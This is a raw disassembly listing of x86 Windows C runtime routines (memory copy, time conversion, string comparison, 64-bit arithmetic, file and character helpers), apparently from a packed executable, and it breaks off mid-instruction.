dd offset loc_41D6F4 dd offset loc_41D6FC dd offset loc_41D704 dd offset loc_41D70C dd offset loc_41D714 dd offset loc_41D71C dd offset loc_41D724 off_41D6F0 dd offset loc_41D737 ; DATA XREF: sub_41D460+1C2r ; --------------------------------------------------------------------------- loc_41D6F4: ; DATA XREF: sub_41D460+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D6FC: ; DATA XREF: sub_41D460+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D704: ; DATA XREF: sub_41D460+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D70C: ; DATA XREF: sub_41D460+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D714: ; DATA XREF: sub_41D460+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D71C: ; DATA XREF: sub_41D460+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D724: ; DATA XREF: sub_41D460+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D737: ; CODE XREF: sub_41D460+1C2j ; DATA XREF: sub_41D460:off_41D6F0o jmp off_41D740[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D740 dd offset loc_41D750 ; DATA XREF: sub_41D460+1B7r ; sub_41D460:loc_41D644r ... dd offset loc_41D758 dd offset loc_41D768 dd offset loc_41D77C ; --------------------------------------------------------------------------- loc_41D750: ; CODE XREF: sub_41D460+1B7j ; sub_41D460:loc_41D644j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D758: ; CODE XREF: sub_41D460+1B7j ; sub_41D460:loc_41D644j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D768: ; CODE XREF: sub_41D460+1B7j ; sub_41D460:loc_41D644j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D77C: ; CODE XREF: sub_41D460+1B7j ; sub_41D460:loc_41D644j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D460 endp ; =============== S U B R O U T I N E ======================================= sub_41D795 proc near ; CODE XREF: sub_40D5E9+34p ; sub_40D5E9+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BCB7 pop ecx pop ecx retn sub_41D795 endp ; =============== S U B R O U T I N E ======================================= sub_41D7A3 proc near ; CODE XREF: sub_41D810+4p arg_0 = dword ptr 4 push esi push dword_4DF6DC call sub_422E08 mov edx, dword_4DF6DC pop ecx mov ecx, dword_4DF6D8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D802 push edx call sub_422E08 add eax, 10h push eax push dword_4DF6DC call sub_41B9D2 add esp, 0Ch test eax, eax jnz short loc_41D7E5 retn ; --------------------------------------------------------------------------- loc_41D7E5: ; CODE XREF: sub_41D7A3+3Fj mov ecx, dword_4DF6D8 sub ecx, dword_4DF6DC mov dword_4DF6DC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DF6D8, ecx loc_41D802: ; CODE XREF: sub_41D7A3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DF6D8, 4 retn sub_41D7A3 endp ; =============== S U B R O U T I N E ======================================= sub_41D810 proc near ; CODE XREF: sub_40D6D6+1Ap ; sub_426FDE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D7A3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D810 endp ; =============== S U B R O U T I N E ======================================= sub_41D822 proc near ; DATA XREF: .packed:0042A024o push 80h call sub_41BCA5 test eax, eax pop ecx mov dword_4DF6DC, eax jnz short loc_41D843 push 18h call sub_41E229 mov eax, dword_4DF6DC pop ecx loc_41D843: ; CODE XREF: sub_41D822+12j and dword ptr [eax], 0 mov eax, dword_4DF6DC mov dword_4DF6D8, eax retn sub_41D822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D851 proc near ; CODE XREF: sub_40D86F+1A3p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_428130 ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_4281A8 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_4DE09A jnz short loc_41D8B6 mov ax, [ebp+var_18] cmp ax, word_4DE098 jnz short loc_41D8B6 mov ax, [ebp+var_1A] cmp ax, word_4DE096 jnz short loc_41D8B6 mov ax, [ebp+var_1E] cmp ax, word_4DE092 jnz short loc_41D8B6 mov ax, [ebp+var_20] cmp ax, word_4DE090 jnz short loc_41D8B6 mov eax, dword_4DE088 jmp short loc_41D8FB ; --------------------------------------------------------------------------- loc_41D8B6: ; CODE XREF: sub_41D851+28j ; sub_41D851+35j ... lea eax, [ebp+var_CC] push eax call dword_4281A4 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_41D8E3 cmp eax, 2 jnz short loc_41D8DF cmp [ebp+var_32], 0 jz short loc_41D8DF cmp [ebp+var_24], 0 jz short loc_41D8DF push 1 pop eax jmp short loc_41D8E6 ; --------------------------------------------------------------------------- loc_41D8DF: ; CODE XREF: sub_41D851+7Aj ; sub_41D851+81j ... xor eax, eax jmp short loc_41D8E6 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D851+75j or eax, 0FFFFFFFFh loc_41D8E6: ; CODE XREF: sub_41D851+8Cj ; sub_41D851+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DE090 movsd movsd movsd movsd pop edi mov dword_4DE088, eax pop esi loc_41D8FB: ; CODE XREF: sub_41D851+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422E69 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D92B mov [ecx], eax locret_41D92B: ; CODE XREF: sub_41D851+D6j leave retn sub_41D851 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D930 proc near ; CODE XREF: sub_40D86F+19p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DE0E4 cmp dword ptr [eax+8], 0 jnz short loc_41D983 mov al, 0FFh mov edi, edi loc_41D94C: ; CODE XREF: sub_41D930+28j ; sub_41D930+48j or al, al jz short loc_41D97E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D94C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D94C sbb al, al sbb al, 0FFh loc_41D97E: ; CODE XREF: sub_41D930+1Ej movsx eax, al jmp short loc_41D9B7 ; --------------------------------------------------------------------------- loc_41D983: ; CODE XREF: sub_41D930+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D98C: ; CODE XREF: sub_41D930+68j ; sub_41D930+80j or al, al jz short loc_41D9B7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D98C push eax push ebx call sub_41DF4C mov ebx, eax add esp, 4 call sub_41DF4C add esp, 4 cmp bl, al jz short loc_41D98C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D9B7: ; CODE XREF: sub_41D930+51j ; sub_41D930+5Ej pop ebx pop esi pop edi leave retn sub_41D930 endp ; =============== S U B R O U T I N E ======================================= sub_41D9BC proc near ; CODE XREF: sub_40E453+193p ; sub_40E453+1DDp arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, offset dword_43F5D8 push edi push esi call sub_420C46 mov edi, eax lea eax, [esp+10h+arg_4] push eax push [esp+14h+arg_0] push esi call sub_41FE9F push esi push edi mov ebx, eax call sub_420CD3 add esp, 18h mov eax, ebx pop edi pop esi pop ebx retn sub_41D9BC endp ; =============== S U B R O U T I N E ======================================= sub_41D9ED proc near ; CODE XREF: sub_411DF4+26Ep ; sub_411DF4+377p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DA69 mov edi, [esp+8+arg_8] test edi, edi jz short loc_41DA0C cmp edi, 1 jz short loc_41DA0C cmp edi, 2 jnz short loc_41DA69 loc_41DA0C: ; CODE XREF: sub_41D9ED+13j ; sub_41D9ED+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DA23 push esi call sub_42307E add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_41DA23: ; CODE XREF: sub_41D9ED+27j push esi call sub_41E38B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DA38 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DA4C ; --------------------------------------------------------------------------- loc_41DA38: ; CODE XREF: sub_41D9ED+42j test al, 1 jz short loc_41DA4C test al, 8 jz short loc_41DA4C test ah, 4 jnz short loc_41DA4C mov dword ptr [esi+18h], 200h loc_41DA4C: ; CODE XREF: sub_41D9ED+49j ; sub_41D9ED+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_422FE4 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DA76 ; --------------------------------------------------------------------------- loc_41DA69: ; CODE XREF: sub_41D9ED+Bj ; sub_41D9ED+1Dj mov dword_4DE02C, 16h or eax, 0FFFFFFFFh loc_41DA76: ; CODE XREF: sub_41D9ED+7Aj pop edi pop esi retn sub_41D9ED endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DA80 proc near ; CODE XREF: sub_413133+19Ep ; sub_413E88+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DA99 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DA99: ; CODE XREF: sub_41DA80+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DA80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DAB4 proc near ; CODE XREF: sub_41673A+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DAD8 xor eax, eax jmp loc_41DBA5 ; --------------------------------------------------------------------------- loc_41DAD8: ; CODE XREF: sub_41DAB4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DAEB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DAF2 ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DAB4+2Dj mov [ebp+arg_C], 1000h loc_41DAF2: ; CODE XREF: sub_41DAB4+35j ; sub_41DAB4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DB26 mov eax, [esi+4] test eax, eax jz short loc_41DB26 cmp ebx, eax mov edi, ebx jb short loc_41DB0C mov edi, eax loc_41DB0C: ; CODE XREF: sub_41DAB4+54j push edi push [ebp+arg_0] push dword ptr [esi] call near ptr sub_41CAE0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DB6C ; --------------------------------------------------------------------------- loc_41DB26: ; CODE XREF: sub_41DAB4+47j ; sub_41DAB4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DB71 test ecx, ecx jz short loc_41DB3A push esi call sub_41E38B test eax, eax pop ecx jnz short loc_41DBB3 loc_41DB3A: ; CODE XREF: sub_41DAB4+79j cmp [ebp+arg_C], 0 jz short loc_41DB4D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DB4F ; --------------------------------------------------------------------------- loc_41DB4D: ; CODE XREF: sub_41DAB4+8Aj mov edi, ebx loc_41DB4F: ; CODE XREF: sub_41DAB4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4231D6 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DBAA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DBAA loc_41DB6C: ; CODE XREF: sub_41DAB4+70j mov edi, [ebp+var_4] jmp short loc_41DB9A ; --------------------------------------------------------------------------- loc_41DB71: ; CODE XREF: sub_41DAB4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FD8A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DBB3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DB9A mov [ebp+arg_C], 1 loc_41DB9A: ; CODE XREF: sub_41DAB4+BBj ; sub_41DAB4+DDj test ebx, ebx jnz loc_41DAF2 mov eax, [ebp+arg_8] loc_41DBA5: ; CODE XREF: sub_41DAB4+1Fj ; sub_41DAB4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DBAA: ; CODE XREF: sub_41DAB4+ADj ; sub_41DAB4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DBB5 ; --------------------------------------------------------------------------- loc_41DBB3: ; CODE XREF: sub_41DAB4+84j ; sub_41DAB4+CFj mov eax, edi loc_41DBB5: ; CODE XREF: sub_41DAB4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DBA5 sub_41DAB4 endp ; =============== S U B R O U T I N E ======================================= sub_41DBBE proc near ; CODE XREF: sub_416E71+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_428098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41DBDE call dword_42808C ; RtlGetLastWin32Error push eax call sub_420BDF pop ecx loc_41DBDA: ; CODE XREF: sub_41DBBE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DBDE: ; CODE XREF: sub_41DBBE+Dj test al, 1 jz short loc_41DBFF test [esp+arg_4], 2 jz short loc_41DBFF mov dword_4DE02C, 0Dh mov dword_4DE030, 5 jmp short loc_41DBDA ; --------------------------------------------------------------------------- loc_41DBFF: ; CODE XREF: sub_41DBBE+22j ; sub_41DBBE+29j xor eax, eax retn sub_41DBBE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DC10 proc near ; CODE XREF: sub_416E8B+3Fp ; sub_41B146+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DC32 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DC73 ; --------------------------------------------------------------------------- loc_41DC32: ; CODE XREF: sub_41DC10+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DC40: ; CODE XREF: sub_41DC10+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DC40 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DC6E cmp edx, [esp+8+arg_4] ja short loc_41DC6E jb short loc_41DC6F cmp eax, [esp+8+arg_0] jbe short loc_41DC6F loc_41DC6E: ; CODE XREF: sub_41DC10+4Ej ; sub_41DC10+54j dec esi loc_41DC6F: ; CODE XREF: sub_41DC10+56j ; sub_41DC10+5Cj xor edx, edx mov eax, esi loc_41DC73: ; CODE XREF: sub_41DC10+20j pop esi pop ebx retn 10h sub_41DC10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DC80 proc near ; CODE XREF: sub_416E8B+2Dp ; sub_41B146+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DCA1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DCF1 ; --------------------------------------------------------------------------- loc_41DCA1: ; CODE XREF: sub_41DC80+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DCAF: ; CODE XREF: sub_41DC80+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCAF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DCDA cmp edx, [esp+4+arg_4] ja short loc_41DCDA jb short loc_41DCE2 cmp eax, [esp+4+arg_0] jbe short loc_41DCE2 loc_41DCDA: ; CODE XREF: sub_41DC80+4Aj ; sub_41DC80+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DCE2: ; CODE XREF: sub_41DC80+52j ; sub_41DC80+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DCF1: ; CODE XREF: sub_41DC80+1Fj pop ebx retn 10h sub_41DC80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD00 proc near ; CODE XREF: sub_416F9A+5Fp ; sub_416F9A+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DD21 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DD21: ; CODE XREF: sub_41DD00+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DD3D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DD3D: ; CODE XREF: sub_41DD00+27j or eax, eax jnz short loc_41DD59 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DD9A ; --------------------------------------------------------------------------- loc_41DD59: ; CODE XREF: sub_41DD00+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DD67: ; CODE XREF: sub_41DD00+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DD67 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DD95 cmp edx, [esp+0Ch+arg_4] ja short loc_41DD95 jb short loc_41DD96 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DD96 loc_41DD95: ; CODE XREF: sub_41DD00+85j ; sub_41DD00+8Bj dec esi loc_41DD96: ; CODE XREF: sub_41DD00+8Dj ; sub_41DD00+93j xor edx, edx mov eax, esi loc_41DD9A: ; CODE XREF: sub_41DD00+57j dec edi jnz short loc_41DDA4 neg edx neg eax sbb edx, 0 loc_41DDA4: ; CODE XREF: sub_41DD00+9Bj pop ebx pop esi pop edi retn 10h sub_41DD00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDAA proc near ; CODE XREF: sub_417646+BFp ; sub_417646+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DE0EC push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DDDE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DE45 loc_41DDC6: ; CODE XREF: sub_41DDAA+30j mov cl, [edx] cmp cl, 61h jl short loc_41DDD7 cmp cl, 7Ah jg short loc_41DDD7 sub cl, 20h mov [edx], cl loc_41DDD7: ; CODE XREF: sub_41DDAA+21j ; sub_41DDAA+26j inc edx cmp [edx], bl jnz short loc_41DDC6 jmp short loc_41DE45 ; --------------------------------------------------------------------------- loc_41DDDE: ; CODE XREF: sub_41DDAA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_423383 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DE37 push edi call sub_41BCA5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DE37 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DE0EC call sub_423383 add esp, 20h test eax, eax jz short loc_41DE37 push [ebp+var_4] push [ebp+arg_0] call sub_41C680 pop ecx pop ecx loc_41DE37: ; CODE XREF: sub_41DDAA+53j ; sub_41DDAA+61j ... push [ebp+var_4] call sub_41B881 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DE45: ; CODE XREF: sub_41DDAA+1Aj ; sub_41DDAA+32j pop ebx leave retn sub_41DDAA endp ; =============== S U B R O U T I N E ======================================= sub_41DE48 proc near ; CODE XREF: sub_41802F+1A3p arg_0 = dword ptr 4 cmp dword_43F1F4, 1 jle short loc_41DE5F push 4 push [esp+4+arg_0] call sub_41FD15 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DE5F: ; CODE XREF: sub_41DE48+7j mov eax, [esp+arg_0] mov ecx, off_43EFE8 mov al, [ecx+eax*2] and eax, 4 retn sub_41DE48 endp ; =============== S U B R O U T I N E ======================================= sub_41DE70 proc near ; CODE XREF: sub_420D10+76p ; sub_420D10+88p ... arg_0 = dword ptr 4 cmp dword_43F1F4, 1 jle short loc_41DE87 push 8 push [esp+4+arg_0] call sub_41FD15 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DE87: ; CODE XREF: sub_41DE70+7j mov eax, [esp+arg_0] mov ecx, off_43EFE8 mov al, [ecx+eax*2] and eax, 8 retn sub_41DE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DEA0 proc near ; CODE XREF: sub_41842E+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DEEC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DEED test eax, 1 jz short loc_41DECD mov cl, [esi] cmp cl, [edi] jnz short loc_41DF1A inc esi inc edi dec eax jz short loc_41DEEA loc_41DECD: ; CODE XREF: sub_41DEA0+20j ; sub_41DEA0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DF1A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DF1A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DECD loc_41DEEA: ; CODE XREF: sub_41DEA0+2Bj ; sub_41DEA0+84j pop edi pop esi locret_41DEEC: ; CODE XREF: sub_41DEA0+6j retn ; --------------------------------------------------------------------------- loc_41DEED: ; CODE XREF: sub_41DEA0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DF22 repe cmpsd jz short loc_41DF22 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DF15 cmp ch, dh jnz short loc_41DF15 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DF15 cmp ch, dh loc_41DF15: ; CODE XREF: sub_41DEA0+63j ; sub_41DEA0+67j ... mov eax, 0 loc_41DF1A: ; CODE XREF: sub_41DEA0+26j ; sub_41DEA0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DF22: ; CODE XREF: sub_41DEA0+55j ; sub_41DEA0+59j test eax, eax jz short loc_41DEEA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DF15 dec eax jz short loc_41DF49 cmp dh, ch jnz short loc_41DF15 dec eax jz short loc_41DF49 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DF15 dec eax loc_41DF49: ; CODE XREF: sub_41DEA0+8Fj ; sub_41DEA0+96j pop edi pop esi retn sub_41DEA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF4C proc near ; CODE XREF: sub_418745+6p ; sub_418763+48p ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DE0EC, 0 push ebx push esi push edi jnz short loc_41DF79 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E012 cmp eax, 5Ah jg loc_41E012 add eax, 20h jmp loc_41E012 ; --------------------------------------------------------------------------- loc_41DF79: ; CODE XREF: sub_41DF4C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41DFAD cmp dword_43F1F4, esi jle short loc_41DF9B push esi push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_41DFA5 ; --------------------------------------------------------------------------- loc_41DF9B: ; CODE XREF: sub_41DF4C+42j mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, esi loc_41DFA5: ; CODE XREF: sub_41DF4C+4Dj test eax, eax jnz short loc_41DFAD loc_41DFA9: ; CODE XREF: sub_41DF4C+ADj mov eax, ebx jmp short loc_41E012 ; --------------------------------------------------------------------------- loc_41DFAD: ; CODE XREF: sub_41DF4C+3Aj ; sub_41DF4C+5Bj mov edx, off_43EFE8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41DFD1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41DFDA ; --------------------------------------------------------------------------- loc_41DFD1: ; CODE XREF: sub_41DF4C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41DFDA: ; CODE XREF: sub_41DF4C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DE0EC call sub_423383 add esp, 20h test eax, eax jz short loc_41DFA9 cmp eax, esi jnz short loc_41E005 movzx eax, [ebp+var_4] jmp short loc_41E012 ; --------------------------------------------------------------------------- loc_41E005: ; CODE XREF: sub_41DF4C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E012: ; CODE XREF: sub_41DF4C+16j ; sub_41DF4C+1Fj ... pop edi pop esi pop ebx leave retn sub_41DF4C endp ; =============== S U B R O U T I N E ======================================= sub_41E017 proc near ; CODE XREF: sub_418D6C+9Cp ; sub_419D4E+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E02E loc_41E024: ; CODE XREF: sub_41E017+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E024 loc_41E02E: ; CODE XREF: sub_41E017+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E034 proc near ; CODE XREF: sub_418D6C+6Ep ; sub_418D6C+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E101 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E12E cmp dword_4DE0EC, esi jnz short loc_41E085 cmp edi, esi jbe loc_41E12E loc_41E064: ; CODE XREF: sub_41E034+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E12E inc eax inc edx inc edx cmp eax, edi jb short 